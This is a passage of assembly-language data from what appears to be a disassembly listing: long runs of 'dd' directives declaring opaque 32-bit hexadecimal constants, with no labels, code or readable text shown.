0CA3C60Ah, 47B29E02h, 0EC358h, 10424C9Ch dd 3E6E260h, 17DD70AAh, 9480079Bh, 50B0BCA8h, 0A7A62000h dd 669036A1h, 8CAE4C18h, 2F8E2C00h, 53841C83h, 0F6484C0Fh dd 61C740F1h, 5FCEEDh, 3A163301h, 0B35E6FF7h, 29E8A200h dd 0E7871D13h, 8E24079Ch, 81A748CAh, 0ECB1FCA8h, 5000EBE1h dd 0CB8A0D5Eh, 0FBE40Bh, 0A18FB743h, 28535592h, 0FEF1E800h dd 7D1BDFEBh, 5B501FA9h, 0CE5E03C9h, 0A21D79C7h, 3B80B917h dd 2AC2981Ch, 0B75800E9h, 904CAA0Dh, 0AC0A6C69h, 0C080A8EEh dd 0E83CD800h, 80FDAh, 6C0661D0h, 2DAA458Ch, 8F4D5200h dd 3F02C4E6h, 80DB5CF4h, 0D5C69600h, 0A1977BF9h, 874AA900h dd 0F702A4CCh, 80551472h, 0CD4CC0D1h, 0DF01383Ch, 0CAE0BC7Ch dd 6D1860DDh, 0C6ED7A03h, 0D894D646h, 0F4E29Dh, 0B381618Fh dd 0C241B536h, 0C6005890h, 1E2565B8h, 83DF66h, 0E18093DBh dd 0FB1A75B2h, 647B782Eh, 510CAE00h, 0F66839h, 62501381h dd 188466EFh, 0EEBD1F0Ah, 3A3BBD4Dh, 0B45C8CBh, 923C70h dd 83EAE121h, 0A4D001EBh, 0B952A5F0h, 7008E120h, 1278564h dd 787007F2h, 0E98B2770h, 8D5F0EABh, 57E02892h, 841F66BDh dd 12DAC209h, 0B028608Eh, 0E809CDBh, 7A03633h, 3D524F1Fh dd 7C00C87Eh, 0F06B9AE5h, 0BC49BA3h, 2E534BE7h, 4CE6CCA0h dd 0DF50D916h, 81C1D182h, 7F66F96h, 0B02CDEC8h, 0A53A044Dh dd 0B0D31CFEh, 0CF138F50h, 960BA03Bh, 606D0F68h, 3E190E1Dh dd 52043932h, 21A6A800h, 71450BBCh, 25B02402h, 0E87D1FF5h dd 7F8A3D4h, 941BDCD0h, 0AC26E09Bh, 400D647h, 3897EF57h dd 72CAAAA5h, 0F83E0098h, 13426F8Ch, 0FC00C4BDh, 28B1A732h dd 2651C64h, 0E948BAAFh, 0D740EC2Eh, 0EDE8E141h, 0DE307100h dd 6E3EFACFh, 9C82003Dh, 0E24AB7A9h, 981CAF02h, 28CAD883h dd 9E008887h, 58494C3Ch, 0A2B112A6h, 0F62B00C0h, 0CCD77B34h dd 0D2ADE00h, 0FCE84F17h, 138D00C5h, 4DBC22ACh, 33007B92h dd 0E0B4C0E6h, 14D305E2h, 0F0092850h, 8231F500h, 6A04D8AAh dd 6E7D0B00h, 0CFE8DC19h, 1BD6026Ch, 0B24F143Ch, 1960FC42h dd 0CA7C7718h, 938BF800h, 16A73BF0h, 70C9038Fh, 0BC081FE3h dd 0A8C41A80h, 0E285ED02h, 87F180F9h, 8943D896h, 7FDE901Ch dd 0F609AC2h, 3BC0FD10h, 855450C0h, 0D97CA76Fh, 4F9D05Ch dd 0F9705341h, 71820C90h, 9DE3000Ah, 0B34F7CACh, 472C30A5h dd 55074849h, 0D4305DB0h, 579A4B8h, 274B33A6h, 7AA44093h dd 0ECB72D1Eh, 881C0475h, 5240419Ch, 9742CE8Fh, 0E27207BFh dd 40B7FB69h, 1FA6E9B1h, 593F79B0h, 49A7936Fh, 272A3040h dd 92AFAC9Fh, 0F5D90894h, 80BEED5Ch, 126C3F5Dh, 1D579E8h dd 0A08F1780h, 0D83BEB39h, 6A0208D1h, 0BF4871E0h, 91A840B8h dd 0B314008Eh, 81BBDE95h, 7E319770h, 8FF0D852h, 0B434E921h dd 32670CA4h, 0D738F138h, 6381DC09h, 0B9F860FEh, 68570014h dd 6782F0AAh, 9C287A3Dh, 0FB04E042h, 0F5BEA73Ch, 8ADD28E1h dd 413A9C4h, 0F217BD26h, 0F1AC9060h, 181C8788h, 0D0C05578h dd 403C69A7h, 0DDEF00B8h, 0F293C88Fh, 0B301D474h, 2D337F32h dd 37F9BCCEh, 0BB78F4h, 47AD810Bh, 49CBD61Bh, 0DA667D06h dd 0C8226Fh, 54CAC4E1h, 0C28A61A7h, 0E85D6000h, 0B07F13D5h dd 791C093Ah, 0E300F572h, 8B96D1BEh, 5DA89500h, 8A5BF37Eh dd 0BA440322h, 36BF2374h, 70EC68E9h, 1100FB80h, 0B6667188h dd 25445Fh, 81AAE7C1h, 98DA86FCh, 843C207Bh, 0CA0BF716h dd 3AADF2h, 6D2230DBh, 0DE240BB7h, 50807282h, 761425ECh dd 188EE109h, 0EEE04023h, 39C9C90Eh, 0F22CF090h, 8767BB00h dd 6354E4EBh, 2D933A96h, 22A54C81h, 0EDB59C0Bh, 30C3ED04h dd 0F87FA44Ch, 0CDBF8D1Ah, 5AD6C0FCh, 0FA3E0069h, 87D7ED5Bh dd 0C7002C3Dh, 22262472h, 9EDD8Eh, 8346FA7Ch, 1490962Ah dd 6AC32004h, 5EC0D85Ch, 0D458C6h, 0A047B3B0h, 0E281FE5Eh dd 62796E00h, 0CF42616h, 0A9E11457h, 879CC05h, 2187912Ch dd 0FDF14D07h, 0B97A001Bh, 6F946Dh, 0EE8B1A85h, 95920ED7h dd 9C3CA600h, 0F2060381h, 0F3D00156h, 0B08F80F0h, 0E8DEE561h dd 31C27C1h, 0E8D4FA7Fh, 0B60706CCh, 302249Bh, 0FE3B67C4h dd 0EC808B7Dh, 8D001BA7h, 94FF1C97h, 16E82260h, 7CD0276h dd 0F0AC7D20h, 4C7E3474h, 0FE7C0100h, 3E245B14h, 3977004Bh dd 252CB5Dh, 277731B4h, 72F76F2Eh, 0C0EC2F09h, 99391880h dd 7FD200DCh, 27F4771Dh, 83CDBA00h, 1F17BB9h, 0F8D900E7h dd 0E08631EBh, 8E00F99Ah, 3976D7F3h, 0B8460Bh, 23A70916h dd 75CB7F5Ch, 1D3A6B3Ah, 0D600741Fh, 0AC0B60D4h, 0D11904B4h dd 0C06B460Ah, 42351340h, 0D8215230h, 0B56E3h, 58A4530Eh dd 0A33D2331h, 4EE76C07h, 7CA0F4C7h, 7F69E1h, 4DFD72A0h dd 906A095Eh, 0C6BB1817h, 61048080h, 0A96E1DA1h, 9A72C022h dd 0D6311F77h, 1C2C5A5Dh, 7AC3C596h, 0D8EFAF29h, 0A1FE5940h dd 107254B4h, 33211E00h, 6D9BEEF6h, 4C3E48h, 0B7A2D493h dd 0A3C609h, 0DEEA7860h, 0BD913936h, 83529409h, 0FFD4870Eh dd 4097C3D0h, 0F0AC12D1h, 0B66D0004h, 0DAA3795Ah, 0CC6ADF00h dd 1FEB06C1h, 6EC0005Bh, 0FE7591C3h, 0F8E70960h, 9007C7EAh dd 4ED48192h, 98F8ED80h, 59A00019h, 0DA9CBB6Bh, 0E501F77Dh dd 1E0D23A8h, 1062A250h, 0DDAA0302h, 4A11FD70h, 12C824h dd 0B920B645h, 52F33393h, 74708D60h, 166F979h, 0E47A35C8h dd 8043ADD7h, 5A4A9358h, 78B09753h, 0E1521309h, 76C0007Fh dd 0F0555E61h, 0CA531F17h, 543C6C40h, 2862F4Bh, 0E10F14DCh dd 0B463ACE9h, 0CC3903C8h, 710ECA00h, 229620E8h, 29694889h dd 0A554FD00h, 73DB67F1h, 8C09147Dh, 619A7FBFh, 0B7CCF5D0h dd 69E66019h, 88E154AAh, 18009F5Fh, 6E25BDA4h, 6C4A06B0h dd 28EFE670h, 0CF310507h, 0DD081F4h, 5F3666h, 87E1C142h dd 532AC015h, 8AC9E800h, 0BFD38E0Bh, 9F489885h, 490157C0h dd 8300F698h, 6C4BFE57h, 1A1B0B6h, 0F008CF0Bh, 0D9E53DE4h dd 0EC11DC13h, 0AF98CC00h, 5D0159D4h, 45BB0002h, 0ACD95FB2h dd 0C8A18BCBh, 75F5F452h, 0DA8DC100h, 0A25DBBFh, 0D6D03A2Ch dd 0C692F100h, 2EEE41A8h, 0C1E99A03h, 9947C80Fh, 2C24C5A0h dd 91700075h, 847A985Eh, 0B8B01DB4h, 0C5D4103h, 0E8AB3BEDh dd 4F33B7h, 4EFAADA4h, 72F7F3E1h, 0D8AF7000h, 0C776F054h dd 8E6801CDh, 0AA9D91F2h, 0FDA4D463h, 0C2A3C102h, 60790C4Ch dd 3B75F9F8h, 1A04EA9Eh, 80999DE5h, 0B50FAA40h, 96620318h dd 126610h, 3D477F10h, 4E2DDDA9h, 770998B6h, 56B8602Fh dd 0C15AA2h dd 7EE8C324h, 970990EFh, 5A1043h, 521D18C4h, 0E47D58C1h dd 0DAEAD203h, 3190A8F2h, 133AF874h, 2153842Fh, 0F4C12BDDh dd 0C4300F32h, 0FD3A1E7Ch, 0E8C88038h, 17A524Bh, 0E2D64Ch dd 1B491075h, 1446D2Bh, 0F3F9BB91h, 206BD9FEh, 0F400CDB7h dd 0DA9D1DCEh, 64FF9Ah, 51E43029h, 8EA432Ch, 2F388400h dd 359A7A1Ch, 19E7041h, 824E1118h, 78EE6DA1h, 210B004Ch dd 43D1B4DFh, 1DA30ECFh, 0F1A08BAEh, 40B6B972h, 117F5000h dd 342E6C91h, 985900C6h, 0CA672825h, 17757655h, 0EE37AC00h dd 9289272Dh, 0F30B8B6h, 77FA5ACEh, 4E355F22h, 1B011C60h dd 0A500B0B8h, 5DFFC27Ch, 3BF355FDh, 5689CEDCh, 982045BAh dd 3CEB734Ah, 0E953003h, 0EAAA375Bh, 2B60E268h, 0C96003C8h dd 70DCEAC3h, 76880074h, 3C5C89D9h, 791D940Ah, 0C10087FFh dd 25C347AAh, 72F0067h, 68A619CFh, 9C00E7B6h, 7122F9EAh dd 39C5F2h, 7874CEB7h, 0AB8A001h, 0F5823Bh, 2A3DE3A7h dd 1746140Ch, 0C0248473h, 42712C28h, 0F147FF00h, 0BD95B2A6h dd 304B07Ch, 2A15FA8Ch, 0F6E36F87h, 4E3A84B0h, 0DCAE4700h dd 166B74DFh, 1F701DEBh, 0CA2C4302h, 0AD88D476h, 6503F45Eh dd 5BFB7151h, 0FA0F7E7h, 2A5CC1h, 2DB7F6C0h, 0DFE2063Dh dd 0ABBFF901h, 0CED32457h, 26C62C64h, 16C01F6h, 3A74098h dd 3E5ECC6Bh, 804D8538h, 0B0C4683h, 77C91B07h, 8CD138F4h dd 4C9B8F80h, 0D51D050h, 11313318h, 4D6F3620h, 0E61D08D2h dd 5D228007h, 0D9433FBFh, 5F0070DFh, 0AFA3367h, 249902FFh dd 37405B60h, 368310A0h, 10E2AFAh, 0EF2079Ah, 0B43839Dh dd 18B9F66Dh, 69583B6Fh, 16007A09h, 19F1E062h, 0C33D14BEh dd 22CA07E0h, 38C0DFC2h, 3604E002h, 3F0C09F3h, 0A3C02A80h dd 0F793346Ah, 0C15F8048h, 22E0DA75h, 0B156100h, 1667ECF8h dd 491E00B1h, 5B5D21F5h, 700F2DBBh, 79174h, 32C52EC7h dd 36DC1479h, 0EB01643Ah, 6557C0DBh, 7C202815h, 0BA98FF7Ch dd 0C4E1C60Fh, 0BF52A0A2h, 97A18Bh, 23B66D04h, 442C873Bh dd 0B85FE600h, 0E7D2C58Eh, 36F81C4Fh, 85CD00A6h, 37550B96h dd 94667900h, 1E8308D9h, 1823989Ah, 7032E140h, 3EF8C8E8h dd 66C5A00h, 2A9D4568h, 7AB00F2h, 3C70A7AAh, 0FEE07B24h dd 439AF400h, 0C349083Ah, 0D12E0326h, 593F424Ah, 6458F2D0h dd 0B6002C90h, 41DDCF83h, 0AE1AC8h, 0D63F7ED2h, 3ACE47Ch dd 81620D00h, 0F0842DA4h, 855000CDh, 5394953Ah, 6E000BB1h dd 75F64333h, 3DEEC89Bh, 1C87DAA0h, 53D04AB8h, 0ADA8A148h dd 7B00AEC9h, 0A018605Ch, 1C583E0h, 4C04378h, 0F9961AFAh dd 0DD9B4069h, 0EB1F20A0h, 0F2C0DE30h, 0C2F9724Eh, 0EFA60078h dd 7193D89h, 0A503BBD3h, 74159060h, 0BA61E05Fh, 0B6D7AABh dd 0E1D9E2D1h, 0C7B987h, 0C6D3DC14h, 54AD9A18h, 0E17D11h dd 0B9D13042h, 7E248645h, 175E2B00h, 19616A79h, 483549D9h dd 7004538h, 5AB4FA49h, 0DC014427h, 0DA053C83h, 86E0D372h dd 0F820956Eh, 0D0AC1878h, 0CA9C8000h, 5EC2D6D1h, 475B0E89h dd 1CC49Eh, 0F8AD1D94h, 0B200887Bh, 873DB01Fh, 777AD837h dd 59503EABh, 0EADE7F8Eh, 0D0F60013h, 730A966Dh, 35919E00h dd 4693450h, 0F8533CE6h, 0B609C28Bh, 0D7FD7480h, 9F00B89Dh dd 0E1848EE0h, 3001DB2Ah, 0AB88F22Bh, 38020C93h, 6AA919ECh dd 9EEDC08Fh, 0D14900BEh, 45E34386h, 0F6019D2Bh, 0C8BCECAEh dd 0ADF092E1h, 71370056h, 9ACFC910h, 41000C05h, 0A2D73665h dd 6DD369h, 20E72939h, 93725915h, 57D93000h, 0C2AEE0E6h dd 9BE80FF1h, 0BD80A651h, 0BE881D7Ah, 8EF5AF00h, 3ED65EC6h dd 0DB200047h, 74A68FD0h, 0B00FF2Eh, 12EF0611h, 13F91DDCh dd 4C0E0D5Ch, 2DE93B1Ch, 0F0740500h, 0DC45109Ah, 0A274CFFh dd 20E1187Ah, 1660E43Fh, 4D46110Eh, 0BFDCE0A4h, 92D7C5h dd 1B0A3EBDh, 0F401DA07h, 0E1C02700h, 0A375AE93h, 827F005Eh dd 29C9F2B7h, 0B81C92D8h, 15C0C879h, 7B255224h, 14C09A46h dd 9059435Dh, 0AD7E0073h, 2BB28D75h, 0A8036DB1h, 1347D8B0h dd 0D22DD0A4h, 5BB40763h, 0B0FDD374h, 60533EC6h, 1C582479h dd 83F639F2h, 7ABBABD5h, 0E6100028h, 8A532BDCh, 0B50007BAh dd 63781D58h, 0F1CC8A9h, 82173A5Fh, 61F9031Ch, 0F01F15FEh dd 40F0B951h, 1A4472Ch, 1FFB53E5h, 2585E6F7h, 5D7C4A8h dd 0CC7AD207h, 0E9610459h, 17CC063Fh, 2E7516B7h, 88042023h dd 0C0160E44h, 0E70721EDh, 7FD04518h, 5DFC1DCh, 9B7EB59Ah dd 2B87AA93h, 0D4466AD0h, 5C880078h, 0AC910AA5h, 2800E41Dh dd 4F189C4Bh, 0C49812h, 0F93F93A0h, 75D59456h, 8C4EF602h dd 602765E9h, 34830B6h, 0F8BD839Ah, 0E7C8B3ABh, 9005A21h dd 450F9542h, 7C61ADh, 9881D340h, 2F6E2803h, 3E19FA07h dd 283CC7F4h, 31251E06h, 77B30026h, 0E2CF4AC0h, 0ECE5800h dd 7F7E5D99h, 408A3904h, 8E0D9D02h, 0E440F54Fh, 2E0078A9h dd 0CE77EF2Ah, 0B11CBBh, 0CCD19EB8h, 3CBC123Dh, 9ADC7200h dd 4FEDC38Ch, 0F37C00C5h, 77BB93F2h, 77F2A99h, 0F4F15000h dd 1917A89Dh, 0E65AE0h, 1371C100h, 0C94E2227h, 32A4BB0h dd 0BB36F7Dh, 98B03586h, 37020526h, 1EA5D29Ah, 3B2660CDh dd 0DCB3016Bh, 68C1A016h, 0CFC720A8h, 0E185E707h, 6BC00924h dd 0DAA939h, 0E8C6AE7Fh, 59AD779Ah, 32D3D503h, 0B8B79B99h dd 240376Dh, 95845641h, 6C6834F9h, 4CE0BB74h, 0F7C8EC3Eh dd 0A0BF1403h, 88CB2F27h, 900D90ACh, 858901BCh, 89E1931h dd 184E052h, 795DEF01h, 20648D60h, 7DC14420h, 0FDF300B0h dd 0C8C76B2Ah, 0DF009B18h, 67909AF7h, 38FA8968h, 9AF926CEh dd 0E26F00ACh, 0CBB53BD7h, 6E00AD12h, 702A44A0h, 720751Dh dd 94B9F678h, 0BA6BF1C5h, 877E7059h, 0E3D00600h, 0D839DCA6h dd 5C10C088h, 0FB3BAB8Eh, 9E460501h, 0EF36962Ah, 0F732E4h dd 3C2C0633h, 6A85E5F6h, 0C9F5A413h, 25A0B00h, 639D53h dd 0D0F613DDh, 49A2B5D8h, 923E860Ch, 3771B1h, 0A808C37Ah dd 93F8A6B8h, 3074F3Bh, 12F3FBD7h, 56F9004h, 0A0A5B818h dd 1401DB3h, 4790039Ch, 0F82D7449h, 0BA0001CEh, 0CCA84656h dd 0D00C29h, 4E48CD79h, 0B37985Ah, 1A5EAA00h, 68F22E7Ch dd 0E79C01E8h, 3F887661h, 0C89DD00Fh, 70E52D01h, 52257EA6h dd 2CD83020h, 94F582h, 0F70190DFh, 0BD0BB620h, 8F21339Bh dd 0FF14C1C1h, 0D080A884h, 8791C804h, 50917218h, 0F256803Dh dd 7B65B921h, 20300E2Bh, 0C09F7AA7h, 0C8FC934h, 751CDF1Ch dd 0C4006DD1h, 0A3F00D54h, 7C2B0042h, 1902D526h, 76B8F40Fh dd 7B226D01h, 0B6186321h, 3CD8E4D8h, 0EC002B9Dh, 910E8BD6h dd 0AE490154h, 442E02FCh, 6023B115h, 407EE198h, 7A1DE634h dd 0BEC06E22h, 36ED2D92h, 93CE00CBh, 0DD8E2963h, 3500B173h dd 79489B0Fh, 1E2E19D3h, 40FCE6B9h, 0F497CFCAh, 6825C892h dd 0B6AC20BEh, 0FEF188h, 7ECC6774h, 28638131h, 1A854E00h dd 0F424FA54h, 0D7E40E91h, 5540323Eh, 76CC633Fh, 0EF835800h dd 0A3268098h, 0AB9A1069h, 91A2006Ch, 7017117Ah, 0DC229DA5h dd 0E360FEDDh, 6A02C25Dh, 8425D416h, 1EA852DAh, 38FA3371h dd 0FF010A40h, 0BC506E6h, 3D0882F7h, 232A2486h, 0ECEF001Bh dd 0F1347635h, 7689F3Fh, 0FC719DD1h, 0F87FB7A3h, 26D957h dd 0D44E0F83h, 90CF9EF1h dd 0D80420C0h, 34328AFh, 0B8395F25h, 0CC988AF9h, 0EC1D8775h dd 4C00C345h, 1C67A233h, 0F3852035h, 167CC203h, 0DF5D1546h dd 8887CB21h, 40F117E0h, 3F008B4Ch, 4372CE8Ch, 285A460h dd 667E5FFCh, 82C0BF03h, 0C01DED93h, 6531280h, 0CBC2A701h dd 90F84B38h, 0FAEC4Ah, 2C5A1CAEh, 59D4A961h, 669BA00h dd 8C66E8F6h, 0C5430007h, 53CCFC5Bh, 0D7031627h, 0A1C96E8Bh dd 0E2EAF8FAh, 516200CBh, 4455998h, 0CC1C8D36h, 21074201h dd 0C601FC60h, 0ADC4570Fh, 0E5A0708h, 0DE1D0CC7h, 0F85CDDE0h dd 100EB2Dh, 0BCF503FFh, 510A25h, 0FAFD927Dh, 0A3BD6B9Ch dd 0B694E300h, 8F6C5B34h, 0E04200C0h, 0F3D65377h, 0D81FAAA6h dd 0D505B4FEh, 904AB9F0h, 58D504B8h, 9B23E116h, 0BA00FE8Fh dd 5D284350h, 0E6595h, 0FBB79F54h, 0C4744DAEh, 69E09679h dd 40835303h, 83565CC5h, 0BB2BA0CFh, 9D7A3E29h, 8052F21Ch dd 814B0665h, 5F03CE01h, 55F74D82h, 5940E737h, 127E198h dd 25B79357h, 0F0430B5Bh, 461B125Ch, 806004F9h, 459463h dd 0B4377BC5h, 68AA8AEFh, 69C82A00h, 9E8F9A1Dh, 0DE4F09A3h dd 7C0038E3h, 7E0CE1FCh, 0AC312A01h, 9C4754CBh, 65CA2888h dd 18843F90h, 4448442Ch, 484A3044h, 47FD4243h, 6A20EC24h dd 0F483D90Fh, 84133922h, 1203FE21h, 2FA8108Bh, 34080489h dd 44AF0844h, 2844846Fh, 433184B8h, 5AF3A15Dh, 1225B611h dd 71D10DCh, 885BB788h, 70883C31h, 57D18845h, 14BB51CAh dd 9023F008h, 6CF48474h, 48E1F48h, 8DACC0FEh, 477012h dd 36F64216h, 67C93D98h, 5561B600h, 4DB430Ah, 1C7A80h dd 0E4977094h, 0FD499EDh, 630041FAh, 8BBA51FFh, 7E47D9h dd 9F718364h, 0C067198Fh, 80C9863Dh, 50A33144h, 111A7D9h dd 0AE282105h, 0C3C191EAh, 0A28FABF0h, 500EBF00h, 69F23514h dd 85FD1C28h, 30390355h, 0FEB07433h, 5A009936h, 0EFEA11F9h dd 3C79301h, 0F2F44148h, 0FBD80AF6h, 0E50EDD97h, 0A003D171h dd 943C88C9h, 7F7C02BAh, 0E0419D5Ah, 0B1129C40h, 0ED166200h dd 408B0347h, 0FBDB001Ch, 0CA377849h, 7F1D1B87h, 0C2806DBFh dd 2CAAF3E0h, 73B300E4h, 60F09A39h, 751C514Ah, 0C4C0354Bh dd 239648E8h, 83A324E9h, 808815CCh, 0B8708406h, 1200D9F5h dd 9D36A78Fh, 0E2BA15h, 0CCDB9220h, 890CCB3Bh, 0AFAB8714h dd 0EF681D88h, 5F9F509Fh, 0CA97D1C0h, 0C059B353h, 3F44FC48h dd 0B1002677h, 0B580E748h, 1E5E8B0h, 9106A211h, 0C03BF440h dd 192E6064h, 0A6260716h, 2E2D0C00h, 773711Ch, 0D89367B5h dd 0DE3050F9h, 5B006A0Ah, 24D60EF5h, 18F0ABh, 38C0EEAEh dd 1F4A706Eh, 6798ED00h, 312DC222h, 99620024h, 3BF15812h dd 0ED006E13h, 2555EFA5h, 1DB29C9Ah, 8042223Dh, 6B8687F1h dd 340AB109h, 9498EE85h, 78379300h, 69D855h, 0FA4A0E41h dd 75E0F9A2h, 6A2E281Dh, 0EDB20D80h, 90497CA3h, 8958503Ch dd 60BC091Ch, 0C30046FBh, 22EA287Fh, 5C900E12h, 893B4804h dd 9C6B7981h, 0B0289BC0h, 53E900B6h, 0C99521C4h, 25098309h dd 16B6F0B0h, 71AA0308h, 171F1866h, 69A3BE8h, 0EB598203h dd 0F86401F9h, 70D6B0FDh, 0F210C06Ah, 1774E973h, 30C0DB76h dd 5808BC1Bh, 4D9E3BD8h, 40F5A313h, 77D459DCh, 0F4017932h dd 7ACE89Fh, 0C320F3C0h, 4A6C00CFh, 85FFBF60h, 0CC3DA322h dd 84F0E49h, 8405C0F0h, 3CD04D53h, 0AC8F50A4h, 88A77216h dd 7C332006h, 8CB8BAB4h, 75A55A02h, 0F7501EA0h, 1FCEDE0h dd 97003477h, 8BA8246Bh, 7FDB2B0Dh, 2658009Bh, 0BAE4364Eh dd 59012C78h, 7A687E95h, 0DC300812h, 0BE9040h, 136CB91Dh dd 0A41C9C4Fh, 0F0193800h, 0BD7C6F34h, 6FB0070h, 9C71ECEAh dd 0A201271Bh, 3A51C912h, 0B1E4B36Dh, 65EB3BFCh, 300C73Eh dd 0C437E194h, 5414A31Eh, 3CC04327h, 0C5BF8Bh, 3D9DF32Dh dd 0B7197Ch, 1B981DC9h, 0D0CA70F6h, 556A5800h, 0A5EB0BF2h dd 0EF2803D4h, 0E603CDD6h, 6AF04DC0h, 7A9BA009h, 6EB40089h dd 0F27F7EB1h, 0EA7100D3h, 3FD2FFA4h, 0F060899Dh, 317D9678h dd 411D0144h, 758267E1h, 83F0405Ch, 0F40050A5h, 922F9A2Ch dd 9E2DC46h, 660DB12h, 0F75A0C80h, 22017457h, 0A68D6352h dd 0BDDBB9DEh, 9F12FDC0h, 0CBB800E6h, 0DF5A7EBCh, 10F6BAD7h dd 58984001h, 0B3388013h, 1FE91021h, 25F8ECh, 0C9DA324Fh dd 642853BFh, 34F60CE2h, 0D67F060Ch, 28BF822h, 0CE5A9B49h dd 9460671Ah, 0D5033B72h, 0B7443C1Bh, 65C000FDh, 261815B2h dd 507AE7Ah, 0D7249FBEh, 89AA8560h, 38862436h, 0C77500E6h dd 0CFF7DD4Bh, 0EC734607h, 398015AEh, 0AFB9Fh, 47E5AF56h dd 92BFEACCh, 0C4BE7E1Dh, 0F1B1F640h, 368DD8h, 2E0104E9h dd 98AC0D15h, 7F462300h, 0ADC90594h, 0C5261E9Bh, 0E0DD80B2h dd 0FF5D63CDh, 0DC08B000h, 706BC818h, 5B5500ACh, 0DEE72DB8h dd 0F45C1959h, 0D5007678h, 3E7F0D58h, 0A74722h, 17C58D08h dd 4667236Ah, 9096EF00h, 5AFF5224h, 0D31D079Bh, 807508EBh dd 284542F2h, 0D5C4B500h, 0E165A03Ah, 9A4C0225h, 0C8FF1BC9h dd 0E3015CC6h, 5B3A412Ah, 1F70647Ch, 97AE1F72h, 1A03C019h dd 0A018D7D5h, 4CF8FE02h, 0C07F17E2h, 486D4DDDh, 0E11E2838h dd 1E93C034h, 60EB8F20h, 0F4488924h, 0A5FF7300h, 45C32Dh dd 0AA76EC02h, 0BA66B4Ch, 0AEC2F002h, 0C8B5A194h, 3C719A90h dd 41A85759h, 73D00CAh, 3E74CAE3h, 0E21E0B04h, 0DF4082C3h dd 5D89837Fh, 68AE001Ah, 0C86D3B2Fh, 11FE738h, 8FC0D186h dd 0C9B5566h, 0C175007Ah, 81A0C23Dh, 870FDF5Bh, 0A006B07Ch dd 0D26B5A7Dh, 1FBB001Ch, 585CE4B9h, 0CA1E71F0h, 807DD385h dd 6261123Dh, 102C77h, 40321594h, 0AB6C5EDh, 8FF03500h dd 0A6C7DB1Ah, 0F898A1h, 6CDF3EABh, 62951D0h, 8A8D0112h dd 907D1B00h, 60A0FB27h, 0C49B6215h, 0A7015B41h, 24E93340h dd 3C3458A4h, 30720101h, 99C50312h, 0C3F83053h, 0AC543126h dd 800F748Eh, 8840B692h, 3D85246Bh, 0F09000ACh, 4EB90B51h dd 0EB05831Fh, 538104C0h, 0FAE5A369h, 68100E79h, 5F472556h dd 0A883E0E6h, 7F001D85h, 95A67E26h, 1E8AE1Fh, 0C8BF1A33h dd 0D80A504Ch, 9A003493h, 53D46C13h, 92FAC91Eh, 6D103AD0h dd 0FFCA1AAh, 1A21EA0Bh, 3500EC14h, 31D3CDE8h, 6502B142h dd 3C161E7Eh, 39F4C068h, 8FBB01A2h, 8CCD5AC7h, 77C0D380h dd 9D2E6C57h, 803EB98Ah, 0A36322D5h, 14DB9BDh, 0EADB8B82h dd 703A272Fh, 0E701E82Ch, 6F03F5A2h, 4C200153h, 12DF1894h dd 72935619h, 47A5DA00h, 0A853BB2Eh, 0ED09004Bh, 8F4AF44Fh dd 780EEF98h, 709150h, 9B1FC4A6h, 93080037h, 20F8B8BEh dd 9C130AC3h, 0C21EFDD3h, 4DE75F80h, 0B265B68h, 2DB5336h dd 0A719E880h, 0C1001F93h, 0E6A4C013h, 1C3FD5h, 0A2A97024h dd 0D6B741Bh, 60F3C7ECh, 0CE0010D4h, 3CD81120h, 9A75FFh dd 8D7C0D30h, 0C09F5B38h, 0A048AF02h, 602B8E2Dh, 73CAEAh dd 0AC7E3541h, 765C054Bh, 387CC500h, 605F6ACCh, 74FB03D5h dd 0E7351C24h, 5B2CA880h, 0D3C97A00h, 36C1BD39h, 38F24C01h dd 119DC600h, 0C3E74706h, 70EEEC16h, 535EFA00h, 0F8F80DAh dd 0CC88ED7h, 0E3921460h, 0BB01CBA5h, 4AB63E50h, 0EEE80DEBh dd 0F394021Bh, 1289A2D8h, 0D3313860h, 76024F00h, 3BF65CB5h dd 208D1280h, 6514025Bh dd 64C07396h, 5C4860D0h, 2EC20008h, 0A47C1F08h, 56BE3DA7h dd 0E0310074h, 86C910F7h, 1858A5D8h, 97B300C8h, 1B5ECA49h dd 0F9381837h, 0F4BED0F3h, 0DCEE3900h, 61482DFh, 0DBB83Bh dd 34A28BEBh, 3E778E26h, 0DFB38406h, 4C7BBBh, 0DEEAE85Fh dd 887C23EEh, 0F592FA1Dh, 1C50CB8h, 0F6E9D00Dh, 0FD5E12D7h dd 3D5892FEh, 6C129220h, 5B60521h, 809881B9h, 0C0F10654h dd 3A000DFAh, 3454E89Ah, 28D4FD0h, 2456482Eh, 0C4A0C5C2h dd 96CC1FAh, 60A6B01h, 0F104A2EEh, 8613C4h, 0FB424027h dd 4610DCCAh, 0AF6D5B00h, 0C57E1C11h, 0C6AB00CEh, 0AE1758B7h dd 3608A9E6h, 84456E44h, 0C80B1FC5h, 5F014AFCh, 4F47ECEEh dd 0F20695Dh, 2E5B3E91h, 8320014Bh, 20ADAF37h, 0FD1D8DE0h dd 4640F7A0h, 877F8C0h, 4CC8F86Eh, 0A30FB11Bh, 0B3C0792Bh dd 2DFAE33Fh, 171F3300h, 575EA5D3h, 517DCDh, 21EA8ECh dd 809E9055h, 586BBD26h, 14B8D920h, 8A823D00h, 8969F956h dd 33A00A9Dh, 28F8AC4Ch, 35B500EFh, 12FC7C6Ch, 117A9BC8h dd 432DA900h, 9DF4D574h, 1D67010h, 0BEBA4D64h, 60DA39ADh dd 4A02CB98h, 362E1B1Dh, 0D0006B2Fh, 4FE39Dh, 24018A74h dd 59575137h, 86528F00h, 0AC62690Ch, 140E00C1h, 7654E5Ah dd 0AD00202Bh, 9EE2D112h, 24D602E3h, 9F5C1960h, 6EDE7Fh dd 0ACB87FFh, 0AC00F688h, 289BAF8Bh, 7FB0B2A2h, 3C80000Fh dd 59FA79Ah, 13007940h, 0B9DFA831h, 58F29Bh, 9DDE5CC6h dd 0C5DCB363h, 88386F0Eh, 97236205h, 68E1E08Ah, 0CAB60007h dd 0ADFC5C62h, 33095AA7h, 5D406FD9h, 3E77280h, 7D1DB959h dd 284FA2Ch, 80EB0CC4h, 0AEC604Bh, 80E1EE39h, 87E822B2h dd 0F29F97h, 0E48BCC05h, 1FEB165Fh, 1B722E00h, 94048A17h dd 0AFDA00D1h, 0FA3F4D5Eh, 48008B9Fh, 0EFD234B7h, 0C06F9575h dd 5C2E5644h, 0D306EABBh, 0D4A72BD1h, 0A97F28h, 49E5D214h dd 6D93B581h, 0D357FD06h, 0B8555Eh, 234772EFh, 45D4444Fh dd 669F2005h, 40803DE5h, 1B6CF574h, 509B89CCh, 5ECFBDA0h dd 0D256E606h, 194A61h, 8BEAE208h, 5AE4DFB4h, 0B3DA2F00h dd 5BAA6975h, 3F8172B6h, 5C809F56h, 0F62503CFh, 